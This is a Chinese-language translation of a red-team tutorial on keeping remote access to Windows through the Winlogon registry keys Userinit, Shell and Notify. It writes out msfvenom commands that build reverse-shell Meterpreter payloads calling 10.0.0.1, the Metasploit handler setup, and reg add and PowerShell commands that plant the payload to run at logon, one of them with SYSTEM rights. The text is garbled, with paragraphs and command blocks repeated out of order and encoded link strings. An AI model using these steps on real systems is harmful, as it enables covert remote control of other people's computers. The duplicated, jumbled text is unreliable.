原文链接:eeeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3&6@1k6i4y4@1L8r3q4T1i4K6u0W2j5X3I4G2k6#2)9J5c8U0t1H3x3U0m8Q4x3V1j5H3x3g2)9J5c8U0p5@1i4K6u0r3M7r3g2J5M7$3W2K6N6r3g2F1j5$3g2Q4x3X3c8%4K9h3&6D9L8$3N6G2L8W2)9J5k6r3S2W2L8s2m8W2M7W2)9J5k6r3c8D9L8q4)9J5c8R3`.`.
翻译:看雪翻译小组-玉林小学生
校对:看雪翻译小组-sudozhange
Winlogon是一个Windows组件,主要负责处理登录、登出、认证时加载用户profile,关机、锁屏等活动。这类行为由注册表管理,它指定了Windows登录发生时执行什么进程。从红队视角看,这些事件可以用来触发执行任意payload以实现长久控制。
实现这种长久控制需要修改下面这些注册表项:
在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。
需要投递可执行文件放到系统中(system32)。修改注册表键值“Userinit”包含任意payload文件,就可以在Windows登录时让两个文件同时执行(userinit.exe和pentestlab.exe)。
Metasploit – Meterpreter
“Shell”注册表键值也可以产生上面类似的行为。
Registry Key – Shell
Windows执行授权操作时会执行恶意payload并建立一个连接。

Persistence – Shell Registry Key Modification
在旧版本(Windows 7之前)操作系统中可以找到”Notify”注册表键值,它指向一个处理Winlogon事件用于通知消息打包的DLL。将该注册表的键值替换为任意DLL可以让Window在登录时执行该DLL。下面的命令可以让Metasploit产生一个DLL形式的payload。
需要修改“DLLName”注册表项为任意DLL名。
下一次Windows登录时,DLL将以SYSTEM权限被执行并打开一个Meterpreter连接。
Persistence Notify Registry Key – Meterpreter
除了注册表编辑器以外,可以在提权的命令行编辑器中顺序执行下面两条命令来修改“Shell”和”Userinit”注册表项。
也可以使用PowerShell的“Set-ItemProperty”命令来修改现有的注册表项。
参考文献:
150K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2N6s2c8S2j5$3E0Q4x3X3g2E0K9i4c8J5k6g2)9J5k6h3!0J5k6#2)9J5c8Y4c8W2j5$3S2F1K9i4q4#2k6i4y4Q4x3V1k6f1x3e0l9H3y4q4)9J5c8R3`.`.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
Metasploit工具”msfvenom”可用于产生任意格式的任意payloads。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe
Metasploit – msfvenom
在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module
需要投递可执行文件放到系统中(system32)。修改注册表键值“Userinit”包含任意payload文件,就可以在Windows登录时让两个文件同时执行(userinit.exe和pentestlab.exe)。
Registry Key – Userinit
Payload被成功执行将开启一个Meterpreter会话。
“Shell”注册表键值也可以产生上面类似的行为。
Windows执行授权操作时会执行恶意payload并建立一个连接。

Persistence – Shell Registry Key Modification
在旧版本(Windows 7之前)操作系统中可以找到”Notify”注册表键值,它指向一个处理Winlogon事件用于通知消息打包的DLL。将该注册表的键值替换为任意DLL可以让Window在登录时执行该DLL。下面的命令可以让Metasploit产生一个DLL形式的payload。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > pentestlab.dll
Metasploit – msfvenom DLL Generation
需要修改“DLLName”注册表项为任意DLL名。
Registry Key – Notify
下一次Windows登录时,DLL将以SYSTEM权限被执行并打开一个Meterpreter连接。
Persistence Notify Registry Key – Meterpreter
除了注册表编辑器以外,可以在提权的命令行编辑器中顺序执行下面两条命令来修改“Shell”和”Userinit”注册表项。
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, pentestlab.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, pentestlab.exe" /f
Winlogon Registry Keys – Command Prompt
也可以使用PowerShell的“Set-ItemProperty”命令来修改现有的注册表项。
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, pentestlab.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, pentestlab.exe" -Force
Winlogon Registry Keys – PowerShell
参考文献:
150K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2N6s2c8S2j5$3E0Q4x3X3g2E0K9i4c8J5k6g2)9J5k6h3!0J5k6#2)9J5c8Y4c8W2j5$3S2F1K9i4q4#2k6i4y4Q4x3V1k6f1x3e0l9H3y4q4)9J5c8R3`.`.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe
Metasploit – msfvenom
在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module
[培训]科锐逆向工程师培训第53期2025年7月8日开班!